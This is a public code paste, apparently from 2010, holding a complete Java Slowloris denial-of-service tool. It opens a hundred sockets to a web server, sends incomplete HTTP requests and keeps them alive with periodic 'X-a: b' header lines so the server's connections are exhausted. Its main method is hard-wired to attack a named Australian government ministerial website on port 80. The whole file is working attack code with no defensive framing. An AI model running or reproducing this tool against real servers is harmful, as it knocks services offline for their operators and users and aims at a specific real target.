Guest
Public paste!

Untitled

By: a guest | Feb 12th, 2010 | Syntax: Java | Size: 1.93 KB | Hits: 286 | Expires: Never
This paste has a previous version, view the difference. Copy text to clipboard
  1. import java.io.IOException;
  2. import java.io.PrintWriter;
  3. import java.net.InetSocketAddress;
  4. import java.net.Socket;
  5. import java.nio.charset.Charset;
  6. import java.security.SecureRandom;
  7. import java.util.Random;
  8.  
  9. /**
  10.  *
  11.  * @author Anonymous
  12.  */
  13. public class JSlowloris {
  14.         private Socket[] sockets;
  15.  
  16.         public JSlowloris(String host, int port, int numsock, String method)
  17.                         throws Exception {
  18.                 sockets = new Socket[numsock];
  19.                 final Charset cs = Charset.forName("US-ASCII");
  20.                 Random rand = new SecureRandom();
  21.                 for (int x = 0; x < numsock; x++) {
  22.                         sockets[x] = new Socket();
  23.                         sockets[x].connect(new InetSocketAddress(host, port));
  24.                         String request = method + " /" + rand.nextInt() + " HTTP/1.1\r\n"
  25.                       + "Host: www." + host + "\r\n"
  26.                       + "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
  27.                       + "Content-Length: 42\r\n";
  28.                         sockets[x].getOutputStream().write(request.getBytes(cs));
  29.                         new ExploitThread(sockets[x], x).start();
  30.                         System.err.println("Socket #" + x + " has sent GET");
  31.                 }
  32.         }
  33.  
  34.         public static void main(String[] argv) throws Throwable {
  35.                 JSlowloris client = new JSlowloris("minister.dbcde.gov.au", 80, 100, "GET");
  36.         }
  37.  
  38.         class ExploitThread
  39.                         extends Thread {
  40.                 final byte[] exploit = "X-a: b\r\n".getBytes();
  41.                 private PrintWriter writer;
  42.                 int id;
  43.  
  44.                 public ExploitThread(Socket socket, int id) {
  45.                         this.id = id;
  46.                         try {
  47.                                 writer = new PrintWriter(socket.getOutputStream(), true);
  48.                         } catch (IOException ex) {
  49.                                 ex.printStackTrace();
  50.                         }
  51.                 }
  52.  
  53.                 @Override
  54.                 public void run() {
  55.                         while (!isInterrupted()) {
  56.                                 try {
  57.                                         Thread.sleep(100000);
  58.                                         writer.print("X-a: b\r\n");
  59.                                         System.err.println("Sent Payload #" + id);
  60.                                 } catch (Exception ex) {
  61.                                         ex.printStackTrace();
  62.                                 }
  63.                         }
  64.                 }
  65.         }
  66. }